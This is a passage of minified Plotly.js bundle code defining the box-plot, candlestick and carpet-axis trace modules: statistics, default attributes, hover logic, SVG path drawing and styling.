I=w.type==="multicategory"?w.r2c_just_indices(x):w.d2c(x,0,v[T+"calendar"]),k=v._length,B=new Array(k),_=0;_<k;_++)B[_]=I;return[B]}function t(v,T){for(var w=v.length,E=new Array(w+1),p=0;p<w;p++)E[p]=v[p]-T;return E[w]=v[w-1]+T,E}function r(v){for(var T=new Array(v),w=0;w<v;w++)T[w]=[];return T}var f={text:"tx",hovertext:"htx"};function a(v,T,w){for(var E in f)L.isArrayOrTypedArray(T[E])&&(Array.isArray(w)?L.isArrayOrTypedArray(T[E][w[0]])&&(v[f[E]]=T[E][w[0]][w[1]]):v[f[E]]=T[E][w])}function l(v,T){if(L.isArrayOrTypedArray(T.selectedpoints))for(var w=0;w<v.length;w++){for(var E=v[w].pts||[],p={},A=0;A<E.length;A++)p[E[A].i]=A;L.tagSelected(E,T,p)}}function u(v,T){return v.v-T.v}function s(v){return v.v}function y(v,T,w){return w===0?v.q1:Math.min(v.q1,T[Math.min(L.findBin(2.5*v.q1-1.5*v.q3,T,!0)+1,w-1)])}function c(v,T,w){return w===0?v.q3:Math.max(v.q3,T[Math.max(L.findBin(2.5*v.q3-1.5*v.q1,T),0)])}function b(v){return 4*v.q1-3*v.q3}function h(v){return 4*v.q3-3*v.q1}function i(v,T){return T===0?0:1.57*(v.q3-v.q1)/Math.sqrt(T)}},37188:function(te,Z,e){var M=e(89298),P=e(71828),o=e(99082).getAxisGroup,L=["v","h"];function S(g,t){for(var r=g.calcdata,f=t.xaxis,a=t.yaxis,l=0;l<L.length;l++){for(var u=L[l],s=u==="h"?a:f,y=[],c=0;c<r.length;c++){var b=r[c],h=b[0].t,i=b[0].trace;i.visible===!0&&(i.type==="box"||i.type==="candlestick")&&!h.empty&&(i.orientation||"v")===u&&i.xaxis===f._id&&i.yaxis===a._id&&y.push(c)}d("box",g,y,s)}}function d(g,t,r,f){var a=t.calcdata,l=t._fullLayout,u=f._id,s=u.charAt(0),y,c,b,h=[],i=0;for(y=0;y<r.length;y++)for(b=a[r[y]],c=0;c<b.length;c++)h.push(f.c2l(b[c].pos,!0)),i+=(b[c].pts2||[]).length;if(h.length){var v=P.distinctVals(h);(f.type==="category"||f.type==="multicategory")&&(v.minDiff=1);var T=v.minDiff/2;M.minDtick(f,v.minDiff,v.vals[0],!0);var w=g==="violin"?"_numViolins":"_numBoxes",E=l[w],p=l[g+"mode"]==="group"&&E>1,A=1-l[g+"gap"],m=1-l[g+"groupgap"];for(y=0;y<r.length;y++){b=a[r[y]];var n=b[0].trace,C=b[0].t,x=n.width,I=n.side,k,B,_,F;if(x)k=B=F=x/2,_=0;else if(k=T,p){var O=o(l,f._id)+n.orientation,z=l._alignmentOpts[O]||{},N=z[n.alignmentgroup]||{},G=Object.keys(N.offsetGroups||{}).length,J=G||E,q=G?n._offsetIndex:C.num;B=k*A*m/J,_=2*k*(-.5+(q+.5)/J)*A,F=k*A/J}else B=k*A*m,_=0,F=k;C.dPos=k,C.bPos=_,C.bdPos=B,C.wHover=F;var ne,fe,X=_+B,W,V,Y,Q,ie,j,K=!!x,oe=(n.boxpoints||n.points)&&i>0;if(I==="positive"?(ne=k*(x?1:.5),W=X,fe=W=_):I==="negative"?(ne=W=_,fe=k*(x?1:.5),V=X):(ne=fe=k,W=V=X),oe){var re=n.pointpos,le=n.jitter,pe=n.marker.size/2,we=0;re+le>=0&&(we=X*(re+le),we>ne?(K=!0,ie=pe,Y=we):we>W&&(ie=pe,Y=ne)),we<=ne&&(Y=ne);var xe=0;re-le<=0&&(xe=-X*(re-le),xe>fe?(K=!0,j=pe,Q=xe):xe>V&&(j=pe,Q=fe)),xe<=fe&&(Q=fe)}else Y=ne,Q=fe;var ke=new Array(b.length);for(c=0;c<b.length;c++)ke[c]=b[c].pos;n._extremes[u]=M.findExtremes(f,ke,{padded:K,vpadminus:Q,vpadplus:Y,vpadLinearized:!0,ppadminus:{x:j,y:ie}[s],ppadplus:{x:ie,y:j}[s]})}}}te.exports={crossTraceCalc:S,setPositionOffset:d}},36411:function(te,Z,e){var M=e(71828),P=e(73972),o=e(7901),L=e(73927),S=e(26125),d=e(4322),g=e(53522);function t(l,u,s,y){function c(p,A){return M.coerce(l,u,g,p,A)}if(r(l,u,c,y),u.visible!==!1){L(l,u,y,c),c("xhoverformat"),c("yhoverformat");var b=u._hasPreCompStats;b&&(c("lowerfence"),c("upperfence")),c("line.color",(l.marker||{}).color||s),c("line.width"),c("fillcolor",o.addOpacity(u.line.color,.5));var h=!1;if(b){var i=c("mean"),v=c("sd");i&&i.length&&(h=!0,v&&v.length&&(h="sd"))}c("boxmean",h),c("whiskerwidth"),c("width"),c("quartilemethod");var T=!1;if(b){var w=c("notchspan");w&&w.length&&(T=!0)}else M.validate(l.notchwidth,g.notchwidth)&&(T=!0);var E=c("notched",T);E&&c("notchwidth"),f(l,u,c,{prefix:"box"})}}function r(l,u,s,y){function c(G){var J=0;return G&&G.length&&(J+=1,M.isArrayOrTypedArray(G[0])&&G[0].length&&(J+=1)),J}function b(G){return M.validate(l[G],g[G])}var h=s("y"),i=s("x"),v;if(u.type==="box"){var T=s("q1"),w=s("median"),E=s("q3");u._hasPreCompStats=T&&T.length&&w&&w.length&&E&&E.length,v=Math.min(M.minRowLength(T),M.minRowLength(w),M.minRowLength(E))}var p=c(h),A=c(i),m=p&&M.minRowLength(h),n=A&&M.minRowLength(i),C=y.calendar,x={autotypenumbers:y.autotypenumbers},I,k;if(u._hasPreCompStats)switch(String(A)+String(p)){case"00":var B=b("x0")||b("dx"),_=b("y0")||b("dy");_&&!B?I="h":I="v",k=v;break;case"10":I="v",k=Math.min(v,n);break;case"20":I="h",k=Math.min(v,i.length);break;case"01":I="h",k=Math.min(v,m);break;case"02":I="v",k=Math.min(v,h.length);break;case"12":I="v",k=Math.min(v,n,h.length);break;case"21":I="h",k=Math.min(v,i.length,m);break;case"11":k=0;break;case"22":var F=!1,O;for(O=0;O<i.length;O++)if(d(i[O],C,x)==="category"){F=!0;break}if(F)I="v",k=Math.min(v,n,h.length);else{for(O=0;O<h.length;O++)if(d(h[O],C,x)==="category"){F=!0;break}F?(I="h",k=Math.min(v,i.length,m)):(I="v",k=Math.min(v,n,h.length))}break}else p>0?(I="v",A>0?k=Math.min(n,m):k=Math.min(m)):A>0?(I="h",k=Math.min(n)):k=0;if(!k){u.visible=!1;return}u._length=k;var z=s("orientation",I);u._hasPreCompStats?z==="v"&&A===0?(s("x0",0),s("dx",1)):z==="h"&&p===0&&(s("y0",0),s("dy",1)):z==="v"&&A===0?s("x0"):z==="h"&&p===0&&s("y0");var N=P.getComponentMethod("calendars","handleTraceDefaults");N(l,u,["x","y"],y)}function f(l,u,s,y){var c=y.prefix,b=M.coerce2(l,u,g,"marker.outliercolor"),h=s("marker.line.outliercolor"),i="outliers";u._hasPreCompStats?i="all":(b||h)&&(i="suspectedoutliers");var v=s(c+"points",i);v?(s("jitter",v==="all"?.3:0),s("pointpos",v==="all"?-1.5:0),s("marker.symbol"),s("marker.opacity"),s("marker.size"),s("marker.angle"),s("marker.color",u.line.color),s("marker.line.color"),s("marker.line.width"),v==="suspectedoutliers"&&(s("marker.line.outliercolor",u.marker.color),s("marker.line.outlierwidth")),s("selected.marker.color"),s("unselected.marker.color"),s("selected.marker.size"),s("unselected.marker.size"),s("text"),s("hovertext")):delete u.marker;var T=s("hoveron");(T==="all"||T.indexOf("points")!==-1)&&s("hovertemplate"),M.coerceSelectionMarkerOpacity(u,s)}function a(l,u){var s,y;function c(i){return M.coerce(y._input,y,g,i)}for(var b=0;b<l.length;b++){y=l[b];var h=y.type;(h==="box"||h==="violin")&&(s=y._input,u[h+"mode"]==="group"&&S(s,y,u,c))}}te.exports={supplyDefaults:t,crossTraceDefaults:a,handleSampleDefaults:r,handlePointsDefaults:f}},74907:function(te){te.exports=function(e,M){return M.hoverOnBox&&(e.hoverOnBox=M.hoverOnBox),"xVal"in M&&(e.x=M.xVal),"yVal"in M&&(e.y=M.yVal),M.xa&&(e.xaxis=M.xa),M.ya&&(e.yaxis=M.ya),e}},41868:function(te,Z,e){var M=e(89298),P=e(71828),o=e(30211),L=e(7901),S=P.fillText;function d(r,f,a,l){var u=r.cd,s=u[0].trace,y=s.hoveron,c=[],b;return y.indexOf("boxes")!==-1&&(c=c.concat(g(r,f,a,l))),y.indexOf("points")!==-1&&(b=t(r,f,a)),l==="closest"?b?[b]:c:(b&&c.push(b),c)}function g(r,f,a,l){var u=r.cd,s=r.xa,y=r.ya,c=u[0].trace,b=u[0].t,h=c.type==="violin",i,v,T,w,E,p,A,m,n,C,x,I=b.bdPos,k,B,_=b.wHover,F=function(xe){return T.c2l(xe.pos)+b.bPos-T.c2l(p)};h&&c.side!=="both"?(c.side==="positive"&&(n=function(xe){var ke=F(xe);return o.inbox(ke,ke+_,C)},k=I,B=0),c.side==="negative"&&(n=function(xe){var ke=F(xe);return o.inbox(ke-_,ke,C)},k=0,B=I)):(n=function(xe){var ke=F(xe);return o.inbox(ke-_,ke+_,C)},k=B=I);var O;h?O=function(xe){return o.inbox(xe.span[0]-E,xe.span[1]-E,C)}:O=function(xe){return o.inbox(xe.min-E,xe.max-E,C)},c.orientation==="h"?(E=f,p=a,A=O,m=n,i="y",T=y,v="x",w=s):(E=a,p=f,A=n,m=O,i="x",T=s,v="y",w=y);var z=Math.min(1,I/Math.abs(T.r2c(T.range[1])-T.r2c(T.range[0])));C=r.maxHoverDistance-z,x=r.maxSpikeDistance-z;function N(xe){return(A(xe)+m(xe))/2}var G=o.getDistanceFunction(l,A,m,N);if(o.getClosest(u,G,r),r.index===!1)return[];var J=u[r.index],q=c.line.color,ne=(c.marker||{}).color;L.opacity(q)&&c.line.width?r.color=q:L.opacity(ne)&&c.boxpoints?r.color=ne:r.color=c.fillcolor,r[i+"0"]=T.c2p(J.pos+b.bPos-B,!0),r[i+"1"]=T.c2p(J.pos+b.bPos+k,!0),r[i+"LabelVal"]=J.orig_p!==void 0?J.orig_p:J.pos;var fe=i+"Spike";r.spikeDistance=N(J)*x/C,r[fe]=T.c2p(J.pos,!0);var X=c.boxmean||(c.meanline||{}).visible,W=c.boxpoints||c.points,V=W&&X?["max","uf","q3","med","mean","q1","lf","min"]:W&&!X?["max","uf","q3","med","q1","lf","min"]:!W&&X?["max","q3","med","mean","q1","min"]:["max","q3","med","q1","min"],Y=w.range[1]<w.range[0];c.orientation===(Y?"v":"h")&&V.reverse();for(var Q=r.spikeDistance,ie=r[fe],j=[],K=0;K<V.length;K++){var oe=V[K];if(oe in J){var re=J[oe],le=w.c2p(re,!0),pe=P.extendFlat({},r);pe.attr=oe,pe[v+"0"]=pe[v+"1"]=le,pe[v+"LabelVal"]=re,pe[v+"Label"]=(b.labels?b.labels[oe]+" ":"")+M.hoverLabelText(w,re,c[v+"hoverformat"]),pe.hoverOnBox=!0,oe==="mean"&&"sd"in J&&c.boxmean==="sd"&&(pe[v+"err"]=J.sd),pe.hovertemplate=!1,j.push(pe)}}r.name="",r.spikeDistance=void 0,r[fe]=void 0;for(var we=0;we<j.length;we++)j[we].attr!=="med"?(j[we].name="",j[we].spikeDistance=void 0,j[we][fe]=void 0):(j[we].spikeDistance=Q,j[we][fe]=ie);return j}function t(r,f,a){for(var l=r.cd,u=r.xa,s=r.ya,y=l[0].trace,c=u.c2p(f),b=s.c2p(a),h,i=function(O){var z=Math.max(3,O.mrc||0);return Math.max(Math.abs(u.c2p(O.x)-c)-z,1-3/z)},v=function(O){var z=Math.max(3,O.mrc||0);return Math.max(Math.abs(s.c2p(O.y)-b)-z,1-3/z)},T=o.quadrature(i,v),w=!1,E,p,A=0;A<l.length;A++){E=l[A];for(var m=0;m<(E.pts||[]).length;m++){p=E.pts[m];var n=T(p);n<=r.distance&&(r.distance=n,w=[A,m])}}if(!w)return!1;E=l[w[0]],p=E.pts[w[1]];var C=u.c2p(p.x,!0),x=s.c2p(p.y,!0),I=p.mrc||1;h=P.extendFlat({},r,{index:p.i,color:(y.marker||{}).color,name:y.name,x0:C-I,x1:C+I,y0:x-I,y1:x+I,spikeDistance:r.distance,hovertemplate:y.hovertemplate});var k=E.orig_p,B=k!==void 0?k:E.pos,_;y.orientation==="h"?(_=s,h.xLabelVal=p.x,h.yLabelVal=B):(_=u,h.xLabelVal=B,h.yLabelVal=p.y);var F=_._id.charAt(0);return h[F+"Spike"]=_.c2p(E.pos,!0),S(p,y,h),h}te.exports={hoverPoints:d,hoverOnBoxes:g,hoverOnPoints:t}},83832:function(te,Z,e){te.exports={attributes:e(53522),layoutAttributes:e(40094),supplyDefaults:e(36411).supplyDefaults,crossTraceDefaults:e(36411).crossTraceDefaults,supplyLayoutDefaults:e(4199).supplyLayoutDefaults,calc:e(48518),crossTraceCalc:e(37188).crossTraceCalc,plot:e(86047).plot,style:e(58063).style,styleOnSelect:e(58063).styleOnSelect,hoverPoints:e(41868).hoverPoints,eventData:e(74907),selectPoints:e(24626),moduleType:"trace",name:"box",basePlotModule:e(93612),categories:["cartesian","svg","symbols","oriented","box-violin","showLegend","boxLayout","zoomScale"],meta:{}}},40094:function(te){te.exports={boxmode:{valType:"enumerated",values:["group","overlay"],dflt:"overlay",editType:"calc"},boxgap:{valType:"number",min:0,max:1,dflt:.3,editType:"calc"},boxgroupgap:{valType:"number",min:0,max:1,dflt:.3,editType:"calc"}}},4199:function(te,Z,e){var M=e(73972),P=e(71828),o=e(40094);function L(d,g,t,r,f){for(var a=f+"Layout",l=!1,u=0;u<t.length;u++){var s=t[u];if(M.traceIs(s,a)){l=!0;break}}l&&(r(f+"mode"),r(f+"gap"),r(f+"groupgap"))}function S(d,g,t){function r(f,a){return P.coerce(d,g,o,f,a)}L(d,g,t,r,"box")}te.exports={supplyLayoutDefaults:S,_supply:L}},86047:function(te,Z,e){var M=e(39898),P=e(71828),o=e(91424),L=5,S=.01;function d(f,a,l,u){var s=f._context.staticPlot,y=a.xaxis,c=a.yaxis;P.makeTraceGroups(u,l,"trace boxes").each(function(b){var h=M.select(this),i=b[0],v=i.t,T=i.trace;if(v.wdPos=v.bdPos*T.whiskerwidth,T.visible!==!0||v.empty){h.remove();return}var w,E;T.orientation==="h"?(w=c,E=y):(w=y,E=c),g(h,{pos:w,val:E},T,v,s),t(h,{x:y,y:c},T,v),r(h,{pos:w,val:E},T,v)})}function g(f,a,l,u,s){var y=l.orientation==="h",c=a.val,b=a.pos,h=!!b.rangebreaks,i=u.bPos,v=u.wdPos||0,T=u.bPosPxOffset||0,w=l.whiskerwidth||0,E=l.notched||!1,p=E?1-2*l.notchwidth:1,A,m;Array.isArray(u.bdPos)?(A=u.bdPos[0],m=u.bdPos[1]):(A=u.bdPos,m=u.bdPos);var n=f.selectAll("path.box").data(l.type!=="violin"||l.box.visible?P.identity:[]);n.enter().append("path").style("vector-effect",s?"none":"non-scaling-stroke").attr("class","box"),n.exit().remove(),n.each(function(C){if(C.empty)return"M0,0Z";var x=b.c2l(C.pos+i,!0),I=b.l2p(x-A)+T,k=b.l2p(x+m)+T,B=h?(I+k)/2:b.l2p(x)+T,_=l.whiskerwidth,F=h?I*_+(1-_)*B:b.l2p(x-v)+T,O=h?k*_+(1-_)*B:b.l2p(x+v)+T,z=b.l2p(x-A*p)+T,N=b.l2p(x+m*p)+T,G=c.c2p(C.q1,!0),J=c.c2p(C.q3,!0),q=P.constrain(c.c2p(C.med,!0),Math.min(G,J)+1,Math.max(G,J)-1),ne=C.lf===void 0||l.boxpoints===!1,fe=c.c2p(ne?C.min:C.lf,!0),X=c.c2p(ne?C.max:C.uf,!0),W=c.c2p(C.ln,!0),V=c.c2p(C.un,!0);y?M.select(this).attr("d","M"+q+","+z+"V"+N+"M"+G+","+I+"V"+k+(E?"H"+W+"L"+q+","+N+"L"+V+","+k:"")+"H"+J+"V"+I+(E?"H"+V+"L"+q+","+z+"L"+W+","+I:"")+"ZM"+G+","+B+"H"+fe+"M"+J+","+B+"H"+X+(w===0?"":"M"+fe+","+F+"V"+O+"M"+X+","+F+"V"+O)):M.select(this).attr("d","M"+z+","+q+"H"+N+"M"+I+","+G+"H"+k+(E?"V"+W+"L"+N+","+q+"L"+k+","+V:"")+"V"+J+"H"+I+(E?"V"+V+"L"+z+","+q+"L"+I+","+W:"")+"ZM"+B+","+G+"V"+fe+"M"+B+","+J+"V"+X+(w===0?"":"M"+F+","+fe+"H"+O+"M"+F+","+X+"H"+O))})}function t(f,a,l,u){var s=a.x,y=a.y,c=u.bdPos,b=u.bPos,h=l.boxpoints||l.points;P.seedPseudoRandom();var i=function(w){return w.forEach(function(E){E.t=u,E.trace=l}),w},v=f.selectAll("g.points").data(h?i:[]);v.enter().append("g").attr("class","points"),v.exit().remove();var T=v.selectAll("path").data(function(w){var E,p=w.pts2,A=Math.max((w.max-w.min)/10,w.q3-w.q1),m=A*1e-9,n=A*S,C=[],x=0,I;if(l.jitter){if(A===0)for(x=1,C=new Array(p.length),E=0;E<p.length;E++)C[E]=1;else for(E=0;E<p.length;E++){var k=Math.max(0,E-L),B=p[k].v,_=Math.min(p.length-1,E+L),F=p[_].v;h!=="all"&&(p[E].v<w.lf?F=Math.min(F,w.lf):B=Math.max(B,w.uf));var O=Math.sqrt(n*(_-k)/(F-B+m))||0;O=P.constrain(Math.abs(O),0,1),C.push(O),x=Math.max(O,x)}I=l.jitter*2/(x||1)}for(E=0;E<p.length;E++){var z=p[E],N=z.v,G=l.jitter?I*C[E]*(P.pseudoRandom()-.5):0,J=w.pos+b+c*(l.pointpos+G);l.orientation==="h"?(z.y=J,z.x=N):(z.x=J,z.y=N),h==="suspectedoutliers"&&N<w.uo&&N>w.lo&&(z.so=!0)}return p});T.enter().append("path").classed("point",!0),T.exit().remove(),T.call(o.translatePoints,s,y)}function r(f,a,l,u){var s=a.val,y=a.pos,c=!!y.rangebreaks,b=u.bPos,h=u.bPosPxOffset||0,i=l.boxmean||(l.meanline||{}).visible,v,T;Array.isArray(u.bdPos)?(v=u.bdPos[0],T=u.bdPos[1]):(v=u.bdPos,T=u.bdPos);var w=f.selectAll("path.mean").data(l.type==="box"&&l.boxmean||l.type==="violin"&&l.box.visible&&l.meanline.visible?P.identity:[]);w.enter().append("path").attr("class","mean").style({fill:"none","vector-effect":"non-scaling-stroke"}),w.exit().remove(),w.each(function(E){var p=y.c2l(E.pos+b,!0),A=y.l2p(p-v)+h,m=y.l2p(p+T)+h,n=c?(A+m)/2:y.l2p(p)+h,C=s.c2p(E.mean,!0),x=s.c2p(E.mean-E.sd,!0),I=s.c2p(E.mean+E.sd,!0);l.orientation==="h"?M.select(this).attr("d","M"+C+","+A+"V"+m+(i==="sd"?"m0,0L"+x+","+n+"L"+C+","+A+"L"+I+","+n+"Z":"")):M.select(this).attr("d","M"+A+","+C+"H"+m+(i==="sd"?"m0,0L"+n+","+x+"L"+A+","+C+"L"+n+","+I+"Z":""))})}te.exports={plot:d,plotBoxAndWhiskers:g,plotPoints:t,plotBoxMean:r}},24626:function(te){te.exports=function(e,M){var P=e.cd,o=e.xaxis,L=e.yaxis,S=[],d,g;if(M===!1)for(d=0;d<P.length;d++)for(g=0;g<(P[d].pts||[]).length;g++)P[d].pts[g].selected=0;else for(d=0;d<P.length;d++)for(g=0;g<(P[d].pts||[]).length;g++){var t=P[d].pts[g],r=o.c2p(t.x),f=L.c2p(t.y);M.contains([r,f],null,t.i,e)?(S.push({pointNumber:t.i,x:o.c2d(t.x),y:L.c2d(t.y)}),t.selected=1):t.selected=0}return S}},58063:function(te,Z,e){var M=e(39898),P=e(7901),o=e(91424);function L(d,g,t){var r=t||M.select(d).selectAll("g.trace.boxes");r.style("opacity",function(f){return f[0].trace.opacity}),r.each(function(f){var a=M.select(this),l=f[0].trace,u=l.line.width;function s(b,h,i,v){b.style("stroke-width",h+"px").call(P.stroke,i).call(P.fill,v)}var y=a.selectAll("path.box");if(l.type==="candlestick")y.each(function(b){if(!b.empty){var h=M.select(this),i=l[b.dir];s(h,i.line.width,i.line.color,i.fillcolor),h.style("opacity",l.selectedpoints&&!b.selected?.3:1)}});else{s(y,u,l.line.color,l.fillcolor),a.selectAll("path.mean").style({"stroke-width":u,"stroke-dasharray":2*u+"px,"+u+"px"}).call(P.stroke,l.line.color);var c=a.selectAll("path.point");o.pointStyle(c,l,d)}})}function S(d,g,t){var r=g[0].trace,f=t.selectAll("path.point");r.selectedpoints?o.selectedPointStyle(f,r):o.pointStyle(f,r,d)}te.exports={style:L,styleOnSelect:S}},75343:function(te,Z,e){var M=e(71828).extendFlat,P=e(12663).axisHoverFormat,o=e(2522),L=e(53522);function S(d){return{line:{color:M({},L.line.color,{dflt:d}),width:L.line.width,editType:"style"},fillcolor:L.fillcolor,editType:"style"}}te.exports={xperiod:o.xperiod,xperiod0:o.xperiod0,xperiodalignment:o.xperiodalignment,xhoverformat:P("x"),yhoverformat:P("y"),x:o.x,open:o.open,high:o.high,low:o.low,close:o.close,line:{width:M({},L.line.width,{}),editType:"style"},increasing:S(o.increasing.line.color.dflt),decreasing:S(o.decreasing.line.color.dflt),text:o.text,hovertext:o.hovertext,whiskerwidth:M({},L.whiskerwidth,{dflt:0}),hoverlabel:o.hoverlabel}},41197:function(te,Z,e){var M=e(71828),P=e(89298),o=e(42973),L=e(3485).calcCommon;te.exports=function(d,g){var t=d._fullLayout,r=P.getFromId(d,g.xaxis),f=P.getFromId(d,g.yaxis),a=r.makeCalcdata(g,"x"),l=o(g,r,"x",a).vals,u=L(d,g,a,l,f,S);return u.length?(M.extendFlat(u[0].t,{num:t._numBoxes,dPos:M.distinctVals(l).minDiff/2,posLetter:"x",valLetter:"y"}),t._numBoxes++,u):[{t:{empty:!0}}]};function S(d,g,t,r){return{min:t,q1:Math.min(d,r),med:r,q3:Math.max(d,r),max:g}}},1026:function(te,Z,e){var M=e(71828),P=e(7901),o=e(14555),L=e(73927),S=e(75343);te.exports=function(t,r,f,a){function l(s,y){return M.coerce(t,r,S,s,y)}var u=o(t,r,l,a);if(!u){r.visible=!1;return}L(t,r,a,l,{x:!0}),l("xhoverformat"),l("yhoverformat"),l("line.width"),d(t,r,l,"increasing"),d(t,r,l,"decreasing"),l("text"),l("hovertext"),l("whiskerwidth"),a._requestRangeslider[r.xaxis]=!0};function d(g,t,r,f){var a=r(f+".line.color");r(f+".line.width",t.line.width),r(f+".fillcolor",P.addOpacity(a,.5))}},91815:function(te,Z,e){te.exports={moduleType:"trace",name:"candlestick",basePlotModule:e(93612),categories:["cartesian","svg","showLegend","candlestick","boxLayout"],meta:{},attributes:e(75343),layoutAttributes:e(40094),supplyLayoutDefaults:e(4199).supplyLayoutDefaults,crossTraceCalc:e(37188).crossTraceCalc,supplyDefaults:e(1026),calc:e(41197),plot:e(86047).plot,layerName:"boxlayer",style:e(58063).style,hoverPoints:e(66449).hoverPoints,selectPoints:e(67324)}},13145:function(te,Z,e){var M=e(11500),P=e(44467);te.exports=function(S,d,g,t,r){var f=t("a");f||(t("da"),t("a0"));var a=t("b");a||(t("db"),t("b0")),o(S,d,g,r)};function o(L,S,d,g){var t=["aaxis","baxis"];t.forEach(function(r){var f=r.charAt(0),a=L[r]||{},l=P.newContainer(S,r),u={noTicklabelstep:!0,tickfont:"x",id:f+"axis",letter:f,font:S.font,name:r,data:L[f],calendar:S.calendar,dfltColor:g,bgColor:d.paper_bgcolor,autotypenumbersDflt:d.autotypenumbers,fullLayout:d};M(a,l,u),l._categories=l._categories||[],!L[r]&&a.type!=="-"&&(L[r]={type:a.type})})}},402:function(te,Z,e){var M=e(71828).isArrayOrTypedArray;te.exports=function(o){return P(o,0)};function P(o,L){if(!M(o)||L>=10)return null;for(var S=1/0,d=-1/0,g=o.length,t=0;t<g;t++){var r=o[t];if(M(r)){var f=P(r,L+1);f&&(S=Math.min(f[0],S),d=Math.max(f[1],d))}else S=Math.min(r,S),d=Math.max(r,d)}return[S,d]}},99798:function(te,Z,e){var M=e(41940),P=e(1928),o=e(22399),L=M({editType:"calc"});L.family.dflt='"Open Sans", verdana, arial, sans-serif',L.size.dflt=12,L.color.dflt=o.defaultLine,te.exports={carpet:{valType:"string",editType:"calc"},x:{valType:"data_array",editType:"calc+clearAxisTypes"},y:{valType:"data_array",editType:"calc+clearAxisTypes"},a:{valType:"data_array",editType:"calc"},a0:{valType:"number",dflt:0,editType:"calc"},da:{valType:"number",dflt:1,editType:"calc"},b:{valType:"data_array",editType:"calc"},b0:{valType:"number",dflt:0,editType:"calc"},db:{valType:"number",dflt:1,editType:"calc"},cheaterslope:{valType:"number",dflt:1,editType:"calc"},aaxis:P,baxis:P,font:L,color:{valType:"color",dflt:o.defaultLine,editType:"plot"},transforms:void 0}},4536:function(te,Z,e){var M=e(71828).isArrayOrTypedArray;te.exports=function(P,o,L,S){var d,g,t,r,f,a,l,u,s,y,c,b,h,i=M(L)?"a":"b",v=i==="a"?P.aaxis:P.baxis,T=v.smoothing,w=i==="a"?P.a2i:P.b2j,E=i==="a"?L:S,p=i==="a"?S:L,A=i==="a"?o.a.length:o.b.length,m=i==="a"?o.b.length:o.a.length,n=Math.floor(i==="a"?P.b2j(p):P.a2i(p)),C=i==="a"?function(q){return P.evalxy([],q,n)}:function(q){return P.evalxy([],n,q)};T&&(t=Math.max(0,Math.min(m-2,n)),r=n-t,g=i==="a"?function(q,ne){return P.dxydi([],q,t,ne,r)}:function(q,ne){return P.dxydj([],t,q,r,ne)});var x=w(E[0]),I=w(E[1]),k=x<I?1:-1,B=(I-x)*1e-8,_=k>0?Math.floor:Math.ceil,F=k>0?Math.ceil:Math.floor,O=k>0?Math.min:Math.max,z=k>0?Math.max:Math.min,N=_(x+B),G=F(I-B);l=C(x);var J=[[l]];for(d=N;d*k<G*k;d+=k)f=[],c=z(x,d),b=O(I,d+k),h=b-c,a=Math.max(0,Math.min(A-2,Math.floor(.5*(c+b)))),u=C(b),T&&(s=g(a,c-a),y=g(a,b-a),f.push([l[0]+s[0]/3*h,l[1]+s[1]/3*h]),f.push([u[0]-y[0]/3*h,u[1]-y[1]/3*h])),f.push(u),J.push(f),l=u;return J}},1928:function(te,Z,e){var M=e(41940),P=e(22399),o=e(13838),L=e(12663).descriptionWithDates,S=e(30962).overrideAll,d=e(79952).P,g=e(1426).extendFlat;te.exports={color:{valType:"color",editType:"calc"},smoothing:{valType:"number",dflt:1,min:0,max:1.3,editType:"calc"},title:{text:{valType:"string",dflt:"",editType:"calc"},font:M({editType:"calc"}),offset:{valType:"number",dflt:10,editType:"calc"},editType:"calc"},type:{valType:"enumerated",values:["-","linear","date","category"],dflt:"-",editType:"calc"},autotypenumbers:o.autotypenumbers,autorange:{valType:"enumerated",values:[!0,!1,"reversed"],dflt:!0,editType:"calc"},rangemode:{valType:"enumerated",values:["normal","tozero","nonnegative"],dflt:"normal",editType:"calc"},range:{valType:"info_array",editType:"calc",items:[{valType:"any",editType:"calc"},{valType:"any",editType:"calc"}]},fixedrange:{valType:"boolean",dflt:!1,editType:"calc"},cheatertype:{valType:"enumerated",values:["index","value"],dflt:"value",editType:"calc"},tickmode:{valType:"enumerated",values:["linear","array"],dflt:"array",editType:"calc"},nticks:{valType:"integer",min:0,dflt:0,editType:"calc"},tickvals:{valType:"data_array",editType:"calc"},ticktext:{valType:"data_array",editType:"calc"},showticklabels:{valType:"enumerated",values:["start","end","both","none"],dflt:"start",editType:"calc"},labelalias:g({},o.labelalias,{editType:"calc"}),tickfont:M({editType:"calc"}),tickangle:{valType:"angle",dflt:"auto",editType:"calc"},tickprefix:{valType:"string",dflt:"",editType:"calc"},showtickprefix:{valType:"enumerated",values:["all","first","last","none"],dflt:"all",editType:"calc"},ticksuffix:{valType:"string",dflt:"",editType:"calc"},showticksuffix:{valType:"enumerated",values:["all","first","last","none"],dflt:"all",editType:"calc"},showexponent:{valType:"enumerated",values:["all","first","last","none"],dflt:"all",editType:"calc"},exponentformat:{valType:"enumerated",values:["none","e","E","power","SI","B"],dflt:"B",editType:"calc"},minexponent:{valType:"number",dflt:3,min:0,editType:"calc"},separatethousands:{valType:"boolean",dflt:!1,editType:"calc"},tickformat:{valType:"string",dflt:"",editType:"calc",description:L("tick label")},tickformatstops:S(o.tickformatstops,"calc","from-root"),categoryorder:{valType:"enumerated",values:["trace","category ascending","category descending","array"],dflt:"trace",editType:"calc"},categoryarray:{valType:"data_array",editType:"calc"},labelpadding:{valType:"integer",dflt:10,editType:"calc"},labelprefix:{valType:"string",editType:"calc"},labelsuffix:{valType:"string",dflt:"",editType:"calc"},showline:{valType:"boolean",dflt:!1,editType:"calc"},linecolor:{valType:"color",dflt:P.defaultLine,editType:"calc"},linewidth:{valType:"number",min:0,dflt:1,editType:"calc"},gridcolor:{valType:"color",editType:"calc"},gridwidth:{valType:"number",min:0,dflt:1,editType:"calc"},griddash:g({},d,{editType:"calc"}),showgrid:{valType:"boolean",dflt:!0,editType:"calc"},minorgridcount:{valType:"integer",min:0,dflt:0,editType:"calc"},minorgridwidth:{valType:"number",min:0,dflt:1,editType:"calc"},minorgriddash:g({},d,{editType:"calc"}),minorgridcolor:{valType:"color",dflt:P.lightLine,editType:"calc"},startline:{valType:"boolean",editType:"calc"},startlinecolor:{valType:"color",editType:"calc"},startlinewidth:{valType:"number",dflt:1,editType:"calc"},endline:{valType:"boolean",editType:"calc"},endlinewidth:{valType:"number",dflt:1,editType:"calc"},endlinecolor:{valType:"color",editType:"calc"},tick0:{valType:"number",min:0,dflt:0,editType:"calc"},dtick:{valType:"number",min:0,dflt:1,editType:"calc"},arraytick0:{valType:"integer",min:0,dflt:0,editType:"calc"},arraydtick:{valType:"integer",min:1,dflt:1,editType:"calc"},_deprecated:{title:{valType:"string",editType:"calc"},titlefont:M({editType:"calc"}),titleoffset:{valType:"number",dflt:10,editType:"calc"}},editType:"calc"}},11500:function(te,Z,